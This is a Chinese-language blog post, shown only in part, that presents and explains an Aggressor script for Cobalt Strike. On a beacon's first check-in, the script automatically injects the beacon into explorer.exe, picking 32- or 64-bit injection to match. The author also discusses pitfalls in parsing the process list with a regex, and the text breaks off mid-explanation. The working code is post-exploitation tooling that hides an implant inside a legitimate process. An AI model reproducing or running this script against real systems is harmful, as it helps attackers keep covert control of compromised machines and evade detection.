Cobalt Strike automigrate自动迁移进程脚本
metasploit有个功能叫auto migrate 可以自动把meterpreter移动到其他进程,不过Cobalt Strike却没有这个功能,在网上搜到一个移动到进程id的aggressor脚本,不过用了下发现有问题,另外如果只是想移动到指定id的进程的话还不如用Cobalt Strike自带的inject命令。遂想自己写个脚本,实现beacon上线后自动注入到指定进程名,还能根据当前的beacon所在的进程是32位还是64位来自动选择binject的注入类型。 先贴下写好的脚本内容: on beacon_initial { sub callback { $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+'; $listener = "test"; if ($2 ismatch $regex) { $pid = matched()[1]; $inject_pid = $pid; if (-is64 $1) { $arch = "x64"; } else { $arch = "x86"; } binject($1, $pid, $listener, $arch); } } if($inject_pid != beacon_info($1,"pid")) { bps($1, &callback); } } 脚本不难,讲下编写过程中遇到的几个坑: 1、正则表达式的编写 bps返回的进程列表大致如下: sppsvc.exe 648 368 svchost.exe 648 444 WmiPrvSE.exe 788 1596 msdtc.exe 648 2740 ..... 在写正则表达式的时候以为上面的进程列表每行字符串分割是空格,结果发现是tab(\t),另外每行是以\...
评论
发表评论